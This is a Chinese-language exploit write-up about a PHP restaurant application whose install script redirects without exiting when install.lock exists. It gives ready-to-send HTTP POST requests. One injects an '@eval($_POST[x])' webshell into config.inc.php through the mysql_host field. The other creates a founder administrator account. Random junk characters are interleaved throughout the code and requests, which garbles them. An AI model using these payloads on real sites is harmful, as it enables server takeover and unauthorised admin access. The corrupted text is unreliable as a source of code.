问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。$ I5 R3 D8 D \3 M5 @/ y4 \
% n; D8 W0 L& |1 |. f
<?php) ]6 p: O1 K1 Q" G; G
if(file_exists("../install.lock"))
# E* W% K3 l8 f% X+ J{
5 T8 ^5 s+ A* \, c3 t header("Location: ../");//没有退出
/ ~# A) k, R" q* t$ G" |5 }}
# y' X1 N3 v- `5 X" \9 l% S
2 `" |% t) V. D//echo 'tst';exit;. \! I! o F) O1 R
require_once("init.php");* k2 a% B" D) [; I' ~/ p
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
2 } [- [ @( }0 x& z/ e{
" y1 K8 s5 P+ `& J) r- V% ~可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
; w, S" }/ z, z, h& O( P* r! O% i& n; d) `, s# ^8 M
1、getshell(很危险)
9 K* c+ P- K, D# j. w5 F; Kif(empty($_REQUEST['step']) || $_REQUEST['step']==1), _" J, X# R0 x; s0 k# ~; d" K
{- ~4 H4 M t. n
$smarty->assign("step",1);$ z0 u" R& |" h" ~+ K, W) L' I
$smarty->display("index.html");. r7 v/ Q/ p, `4 X t
}elseif($_REQUEST['step']==2)
0 f1 o2 b( t" f3 r& ~{5 u! R& g* E3 \1 n, D# I3 X
$mysql_host=trim($_POST['mysql_host']);
# R, o1 l, v& p* b $mysql_user=trim($_POST['mysql_user']);: R& \ z# k0 ^
$mysql_pwd=trim($_POST['mysql_pwd']);3 t( `( K% g0 ?9 v7 u- A
$mysql_db=trim($_POST['mysql_db']);
( t9 u1 n( M) Z5 w# I7 ?' l, d# z $tblpre=trim($_POST['tblpre']);2 V7 o9 g, z' T& x
$domain==trim($_POST['domain']);3 D+ i. Q( ?" k# A" F" B# Q* D1 L
$str="<?php \r\n";
- s1 G9 {% ~) M* Q$ s/ s $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
& M& B8 y9 v g2 D4 W0 ` $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";8 u# R$ @: _3 E0 v3 O! R+ _. v
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";3 u: T& z1 R6 [$ u
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
1 [2 s' z" X1 i0 @" s3 A x# ?* W6 d $str.='define("MYSQL_CHARSET","GBK");'."\r\n";7 a9 H4 L7 g/ N, }3 ~
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
) q7 o5 X5 U% Q, n1 L! i $str.='define("DOMAIN","'.$domain.'");'."\r\n";( n: u1 t7 ?5 E* ^7 b
$str.='define("SKINS","default");'."\r\n";/ d5 q1 n; N2 }1 e: Q
$str.='?>';
9 l( H- c" }. _) {% `: C1 ^ file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件( w* g; C2 Q k4 F1 A" ~
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
V$ `8 ^& m0 o6 p' RPOST /canting/install/index.php?m=index&step=2 HTTP/1.1' r* J) D4 F5 {& ^. O/ Z$ H6 L
Host: 192.168.80.129
7 O7 E% m/ i7 R6 ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0# ?4 F- |* h: j) j0 i; H. u
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" ^! p6 m5 T, p2 S
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
+ D" r* u0 c* N/ |( W: cAccept-Encoding: gzip, deflate1 s! {; T! c2 c/ U% A% Z
Referer: http://192.168.80.129/canting/install/index.php?step=17 u. o8 k3 m" B V8 [8 B
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42- `: P. ?) `) Z- A
Content-Type: application/x-www-form-urlencoded
' {9 ^6 w4 ]) @/ @3 U# M6 j. d& MContent-Length: 126
7 s% a) r' t8 C4 [( F) _! K' K 4 X3 F) N5 a$ p+ N. t0 z
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
Z4 z0 o0 O9 h. X( f. f# |但是这个方法很危险,将导致网站无法运行。; X/ _9 Z( S0 P7 c" ]
1 _3 v2 T, f! H8 z) D
2、直接添加管理员2 c! w# ] ]2 y2 m' {8 R1 C( ]
* y6 l9 i9 w f
elseif($_REQUEST['step']==5)
' h, j$ }4 O4 ?% C% X# V7 }{3 N) Z1 _. {. |& z7 f
if($_POST)
5 T- w* S4 O1 _. u6 z0 V { require_once("../config/config.inc.php");
) w4 o: |; z# h$ f3 U+ x $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
$ h: ]! q( z) W9 g+ x( ]& F- Z mysql_select_db(MYSQL_DB,$link);3 V( ^! k' D& f1 s# ~) x
mysql_query("SET NAMES ".MYSQL_CHARSET );
& V; J5 l: ?- q mysql_query("SET sql_mode=''");
0 |; b; ^0 {, n* {/ |5 v5 [8 R2 y1 U4 _. s) A
$adminname=trim($_POST['adminname']);* R/ E+ I8 Y1 I: n6 n
$pwd1=trim($_POST['pwd1']);
2 d3 D9 x& d- w6 R4 E $pwd2=trim($_POST['pwd2']);' g0 p5 U1 l9 {- j, w7 ?& U
if(empty($adminname))% V- P/ i W; \& w1 Q
{ G& g# z. W, S% C) i
7 G4 G' @! c( s$ o1 x
echo "<script>alert('管理员不能为空');history.go(-1);</script>";$ |9 F- w' s5 w
exit();
1 X2 L) u- ], b( S' b }. T U$ r$ l Z' E0 s! ]4 E
if(($pwd1!=$pwd2) or empty($pwd1))% a: L7 T' f& ^0 V- C
{, h) k$ h1 b9 U6 p/ J
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出$ Z$ c K4 ^2 D
}( r+ I) t. `/ f- H0 x
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
9 t; L/ t# C2 y# s3 Y, _. v }
4 m) i, c7 T! W- H$ I- V这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:3 Z/ r( C$ k9 U% I# y* t
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
3 V4 I' a! s& yHost: 192.168.80.129, r, X% R3 h* s& @ Y
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
1 ^/ ]( y( Q% ^4 c- dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
" Z9 L+ O! r. t' ^" BAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
. Y- m: O8 D% V. N2 K; D UAccept-Encoding: gzip, deflate C+ A! u3 H9 R+ T# u4 w8 ~- x
Referer: http://www.2cto.com /canting/install/index.php?step=1
) A* W# q6 A& W$ u+ B& FCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc423 M! b+ R- H L# k( a) ~- k
Content-Type: application/x-www-form-urlencoded
* H5 y$ b# \2 g; j$ NContent-Length: 463 F& g2 f% M4 n! H! j; V
- s/ D8 l3 X& m* ~ t- E9 Qadminname=qingshen&pwd1=qingshen&pwd2=qingshen
8 g- T) x; I5 Q6 ^ |